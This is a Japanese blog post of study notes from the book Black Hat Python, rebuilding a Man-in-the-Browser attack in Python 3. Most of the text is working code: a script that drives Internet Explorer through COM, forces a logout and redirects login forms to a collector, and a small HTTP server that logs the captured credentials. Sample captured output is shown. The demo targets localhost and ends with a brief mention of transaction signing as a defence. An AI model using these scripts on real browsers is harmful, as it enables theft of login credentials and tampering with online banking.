本記事は、オライリージャパンから発行されている「サイバーセキュリティプログラミング ―Pythonで学ぶハッカーの思考(原題:Black Hat Python)」の学習メモとして、書籍ではPython2で書かれていますが、自分なりに解釈した上でPython3に書き直しをしています。
今回は、Man-In-The-Middle(MITM)攻撃の発展形であるMan-In-The-Browser(MITB)攻撃について学んでいきます。
MITB攻撃とは
前回ではScapyを使った中間者攻撃であるマン・イン・ザ・ミドル攻撃(MITM:Man In The Middle)について学びました。
中間者攻撃では、ネットワーク上を流れる全てのパケットを監視することで、パケットの盗聴およびパケット改ざんなどを行うことができました。
今回のマン・イン・ザ・ブラウザ攻撃(MITB:Man In The Browser)では、ターゲットのブラウザを監視することで、ターゲットがサーバへ送信するデータの盗聴や改ざんを行うことができます。
具体的にはターゲットのPCにトロイの木馬を設置し、その中でMITB攻撃を実行します。
主にオンラインバンクでの送金手続きを監視し、送金先を変更するなどの改ざんをし、ターゲットには指定した送金先へのトランザクションが完了した旨のページを表示させるものが主流のようです。
今回作成するスクリプトでは、ローカルサーバへログイン済である状態のブラウザを強制的にログアウトさせ、ログインページを表示させます。
さらにログインをすると、偽のサーバへログイン情報を送信し、再度ログイン画面へリダイレクトされます。
その後、再度ログインをすると問題なくログイン後のページに移動できるというものです。
PythonでMITBを作成する
それでは、PythonでMITBを実行するスクリプトを作成します。
# mitb.py from urllib.parse import urlparse, quote import win32com.client import time import re import sys data_receiever = "http://localhost:8080/" target_sites = {} target_sites['localhost'] = { "logout_url" : "http://localhost/bhp/logout.php", "logout_form" : None, "login_form_index" : 0, "login_url" : "http://localhost/bhp/login.html", "owned" : False } clsid = '{9BA05972-F6A8-11CF-A442-00A0C90A8F39}' windows = win32com.client.Dispatch(clsid) def wait_for_browser(browser): while browser.ReadyState != 4 and browser.ReadyState != "complete": time.sleep(0.1) return while True: try: for browser in windows: url = urlparse(browser.LocationUrl) if url.hostname in target_sites.keys(): if target_sites[url.hostname]["owned"]: continue if target_sites[url.hostname]["logout_url"]: browser.Navigate(target_sites[url.hostname]["logout_url"]) wait_for_browser(browser) browser.Navigate(target_sites[url.hostname]["login_url"]) wait_for_browser(browser) else: full_doc = browser.Document.all for i in full_doc: try: if i.id == target_sites[url.hostname]["logout_form"]: i.submit() wait_for_browser(browser) except: pass try: login_index = target_sites[url.hostname]["login_form_index"] login_page = quote(browser.LocationUrl) browser.Document.forms[login_index].action = "{}{}".format(data_receiever, login_page) target_sites[url.hostname]["owned"] = True except: pass time.sleep(5) except: pass
以下は、ログイン情報を窃取するために動作させる簡易サーバとなります。
# cread_server.py from http.server import BaseHTTPRequestHandler, HTTPServer from urllib.parse import unquote class CredRequestHandler(BaseHTTPRequestHandler): def do_POST(self): content_length = int(self.headers.get('content-length')) creds = self.rfile.read(content_length).decode('utf-8') print(creds) site = self.path[1:] self.send_response(301) self.send_header('Location', unquote(site)) self.end_headers() def run(): print('Starting server...') server_address = ('127.0.0.1', 8080) httpd = HTTPServer(server_address, CredRequestHandler) print('Running server...') httpd.serve_forever() run()
動作確認
それでは、上記で作成したスクリプトを実行します。
まず最初に"cred_server.py"を起動し、待機させます。
その後IE(Internet Explorer)を開きログイン認証済のページを開いておきます。
さらに"mitb.py"を起動すると、先ほど開いていたログイン済のページが強制的にログアウトさせられ、ログイン画面へリダイレクトされます。
その後ログインをすると、待機していたサーバに以下の情報が送られます。
> python cred_server.py Starting server... Running server... ID=admin&PWD=pass 127.0.0.1 - - [26/Jan/2019 21:47:22] "POST /http%3A//localhost/bhp/login.html HTTP/1.1" 301 -
最後に
今回はMITB攻撃について、ログイン情報を別のサーバに送信させる方法について学びました。
対策として、オンラインバンキングなどで送金先が変更されたことを検出できるようにする「トランザクション署名」が効果的のようです。